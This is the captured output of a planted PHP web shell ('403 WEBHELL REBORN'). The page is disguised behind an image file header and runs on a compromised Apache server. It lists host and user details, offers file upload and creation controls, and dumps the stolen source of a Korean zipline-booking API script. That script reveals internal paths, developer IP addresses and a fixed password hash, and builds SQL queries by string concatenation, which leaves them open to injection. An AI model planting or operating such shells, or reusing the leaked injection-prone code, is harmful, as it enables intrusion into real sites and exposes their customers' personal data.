ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/api/tk_api_ty.php
<?php
header("Content-Type: application/json");
$g4_path = "..";

include "../common.php"; // Zipline Common
include "common.php"; // API Common
include "../adm/admin.lib.php"; // Admin Function

// 개발 모드 설정 ★ 실제 운영 시 주의 ★
$allow_addr = array(
	'119.67.250.2033', // 집
	'14.6.87.1933' // TK사무실
);
if(in_array($_SERVER['REMOTE_ADDR'], $allow_addr) == true){
	define('DEV_MODE', '1');
	echo "###############################\n";
	echo "########## 개발 모드 ##########\n";
	echo "###############################\n";
} else {
	define('DEV_MODE', '0');
}

// 시작일시설정
$cron_stime = "2022-07-01 22:00:00";

echo ("===== TKPLACE - ZIPLINE : API START =====\n");
Log::save(sprintf("%s(%d) %s", __FILE__, __LINE__, "API START"), '', 'tk/'.date('Ym'));

// 주문조회 쿼리
$path = "/orders/list";

$searchStartDate = date('Y-m-d', strtotime("-1 days"));
$call_data = array(
	'limit'					=> 1000,
);

$result = call($path, $call_data);
$data = array();

//if(DEV_MODE){ p($result); }
echo "\nDATA TOTAL : " . count($result['data']['dataOrder']) . "\n\n";

if(DEV_MODE){ echo "##################### STEP 1 : 데이터 예약건별로 처리\n"; }

foreach($result['data']['dataOrder'] as $k => $v){

	if(DEV_MODE){ echo "##################### STEP 2 : 예약{$k}\n"; }

	// 시작시간
	if($v['res_date_time'] <= $cron_stime) continue;

	// TK 예약번호
	$order_code = $v['rsv_no'];
	if(DEV_MODE){ echo "\n★★ ORDER ID : " . $order_code . " ===> "; }

	// 상태 체크
	if($v['status'] == 'H'){
		if(DEV_MODE){ p("취소된 예약."); }
		Log::save(sprintf("%s(%d) %s", __FILE__, __LINE__, "취소된 예약." . $order_code), '', 'tk/'.date('Ym'));
		continue;
	}

	// API 전송상태 (S 일 경우 이미 전송된 건이므로 처리하지 않음.)
	if($v['api_status'] == 'S'){
		if(DEV_MODE){ p("이미 전송된 예약."); }
		Log::save(sprintf("%s(%d) %s", __FILE__, __LINE__, "이미 전송된 예약." . $order_code), '', 'tk/'.date('Ym'));


		//by taeyoung
		//20220816
		//시간 변경 된 경우 처리.
		$wr_link = str_replace("-", "", $v['start_date']);
		$eventName = $v['event_name'];
		$wr_2 = $eventName . ":00";
		$wr_homepage = $v['discount_cmt']; //할인옵션
		$wr_3 = $v['total_inwon'];
		$wr_4 = $v['cust_nm'];
		$wr_5 = str_replace("-", "", trim($v['cust_hp']));
		$wr_7 = $v['total_price'];
		$wr_21 = $v['res_route']; // 예약 유입경로


		//1. 이미 예약된 데이터 불러오기
		$row_mod = sql_fetch("select * from {$write_table} where tk_res_no = '{$order_code}'");

		if($row_mod){
		//2. 데이터 비교하기
			if(
				($wr_link != $row_mod['wr_link1'])  ||
				($wr_2 != $row_mod['wr_2']) ||
				($wr_homepage != $row_mod['wr_homepage']) ||
				($wr_3 != $row_mod['wr_3']) ||
				($wr_4 != $row_mod['wr_4']) ||
				($wr_5 != $row_mod['wr_5']) ||
				($wr_7 != $row_mod['wr_7']) ||
				($wr_21 != $row_mod['wr_21'])
			){
			//3. 다른 데이터 있으면 로그 쌓기
				$sqlmod = "INSERT INTO res_modify_log SET ";
				$sqlmod .= "site_id = '{$site_id}'";
				$sqlmod .= ", tk_res_no = '{$order_code}'";
				$sqlmod .= ", wr_link1 = '{$wr_link}'";
				$sqlmod .= ", wr_2 = '{$wr_2}'";
				$sqlmod .= ", wr_homepage = '{$wr_homepage}'";
				$sqlmod .= ", wr_3 = '{$wr_3}'";
				$sqlmod .= ", wr_4 = '{$wr_4}'";
				$sqlmod .= ", wr_5 = '{$wr_5}'";
				$sqlmod .= ", wr_7 = '{$wr_7}'";
				$sqlmod .= ", wr_21 = '{$wr_21}'";

				sql_query($sqlmod);

			}

		}
		//4. 업데이트
		sql_query("UPDATE {$write_table} SET wr_link1 = '{$wr_link}', wr_link2 = '{$wr_link}', wr_2 = '{$wr_2}', wr_homepage = '{$wr_homepage}', wr_3 = '{$wr_3}', wr_4 = '{$wr_4}', wr_5 = '{$wr_5}', wr_7 = '{$wr_7}', wr_21 = '{$wr_21}' WHERE tk_res_no = '{$order_code}' ");

		continue;
	}

	// 사용일
	$startDate = $v['start_date'];
	if(!$startDate){
		if(DEV_MODE){ p("사용일 정보가 없습니다."); }
		Log::save(sprintf("%s(%d) %s", __FILE__, __LINE__, "사용일 정보가 없습니다." . $order_code), '', 'tk/'.date('Ym'));
		continue;
	}

	// 행사 정보 (짚라인 이용시간)
	$eventName = $v['event_name'];
	if(!$eventName){
		if(DEV_MODE){ p("이용시간 정보가 없습니다."); }
		Log::save(sprintf("%s(%d) %s", __FILE__, __LINE__, "이용시간 정보가 없습니다." . $order_code), '', 'tk/'.date('Ym'));
		continue;
	}

	// Duplicate Check
	$row_res = sql_fetch("select * from {$write_table} where tk_res_no = '{$order_code}'");
	if($row_res){
		$wr_id = $row_res['wr_id'];
		if(DEV_MODE){ echo "이미 등록되어 있는 예약" . $order_code . " / " . $res_no; }
		Log::save(sprintf("%s(%d) %s %s", __FILE__, __LINE__, "이미 등록되어 있는 예약 : " . $order_code, $res_no), '', 'tk/'.date('Ym'));
		continue;
	}

	if(DEV_MODE){ echo "\n\n★★ 예약 추가 시작\n"; }

	// 예약 추가
	// resrev_form_update.php 282 Lines 참고

	$wr_num = get_next_num($write_table);
	$wr_content = "";
	$wr_link = str_replace("-", "", $v['start_date']);
	$wr_password = md5('tktravel');
	$wr_homepage = $v['discount_cmt']; //할인옵션
	$wr_2 = $eventName . ":00";
	$wr_3 = $v['total_inwon'];
	$wr_4 = $v['cust_nm'];
	$wr_5 = str_replace("-", "", trim($v['cust_hp']));
	$wr_6 = "7000"; // 결제방법 - 제휴
	$wr_7 = $v['total_price'];
	$wr_21 = $v['res_route']; // 예약 유입경로

	$insert = array(
		"wr_num"					=> $wr_num,
		"wr_reply"					=> '',
		"wr_comment"			=> 0,
		"ca_name"				=> '',
		"wr_option"				=> '',
		"wr_subject"				=> '(TK)',							// 회사명 및 단체명
		"wr_content"				=> $wr_content,							// 예약내용
		"wr_link1"					=> $wr_link,									// 예약일
		"wr_link2"					=> $wr_link,									// 예약일
		"wr_link1_hit"			=> 0,
		"wr_link2_hit"			=> 0,
		"wr_trackback"			=> '',
		"wr_hit"					=> 0,
		"wr_good"					=> 0,
		"wr_nogood"				=> 0,
		"mb_id"						=> 'tktravel',
		"wr_password"			=> $wr_password,							// 비밀번호 (임의 값)
		"wr_name"				=> 'TK_API',
		"wr_email"				=> 'cs@tktravelkorea.com',
		"wr_homepage"			=> $wr_homepage,						// 할인정보
		"wr_datetime"			=> $g4['time_ymdhis'],					// 등록시간
		"wr_last"					=> $g4['time_ymdhis'],					// 등록시간
		"wr_ip"						=> $_SERVER['REMOTE_ADDR'],	// 등록IP
		"wr_1"						=> 'Y',											// paySta (M:미결제, Y:결제완료)
		"wr_2"						=> $wr_2,										// 예약시간
		"wr_3"						=> $wr_3,										// 탑승인원
		"wr_4"						=> $wr_4,										// 이름
		"wr_5"						=> $wr_5,										// 전화번호
		"wr_6"						=> $wr_6,										// 선입금 - 결제방법
		"wr_7"						=> $wr_7,										// 결제금액
		"wr_8"						=> '',
		"wr_9"						=> '',
		"wr_10"						=> '',
		"wr_15"						=> '',											// 접수자
		"wr_16"						=> '',											// 통화일
		"wr_17"						=> '',											// 결과
		"wr_18"						=> $wr_18,									// 선입금 - 날짜
		"wr_19"						=> $wr_19,									// 이메일
		"wr_20"						=> '',
		"wr_21"						=> $wr_21,									// 예약 유입경로
		"wr_22"						=> '',
		"wr_23"						=> '',											// 발권유무 (미사용)
		"wr_25"						=> '',											// 선입금 - 입금자
		"wr_26"						=> '0',											// 잔금 - 금액
		"wr_27"						=> '',											// 잔금 - 날짜
		"wr_28"						=> '',											// 잔금 - 입금자
		"wr_29"						=> '',											// 잔금 - 결제방법
		"wr_pri"					=> $wr_7,										// 선입금 - 금액
		"wr_dis"					=> '0',											// 할인율
		"tk_res_no"				=> $order_code							// TK 예약번호
	);

	$sql = getInsertQuery($write_table, $insert);

	if(DEV_MODE){ p($sql); }

	// DB 처리
	if(DEV_MODE == 0){

		Log::save(sprintf("%s(%d) DB Insert  : %s", __FILE__, __LINE__, $sql), '', 'tk/'.date('Ym'));
		sql_query($sql);

		$wr_id = mysql_insert_id();
		// 부모 아이디에 UPDATE
		sql_query("update $write_table set wr_parent = '$wr_id' where wr_id = '$wr_id' ");

		if(DEV_MODE){ p("DB Process..."); }

		Log::save(sprintf("%s(%d) Create Order Process : %s", __FILE__, __LINE__, $wr_id), '', 'tk/'.date('Ym'));

		// 예약상태 변경 (API 전송상태 > 전송성공)
		$path = "/orders/update/".$order_code;
		$call_data = array(
			'api_status' => "U",
		);
		$result = call($path, $call_data, "POST");

		Log::save(sprintf("%s(%d) Update api_status : %s", __FILE__, __LINE__, $call_data['api_status']), '', 'tk/'.date('Ym'));

		// TK API 연동 행사인원정보 DB 기록 220508
		insert_reserve_count($site_id, $wr_link, $wr_2, 'API_INSERT', $wr_id);

		// 알림톡 발송

		echo "{$wr_id} ■ ";
	}

}

echo "\nEND";

#######################################################################



?>




Anon7 - 2021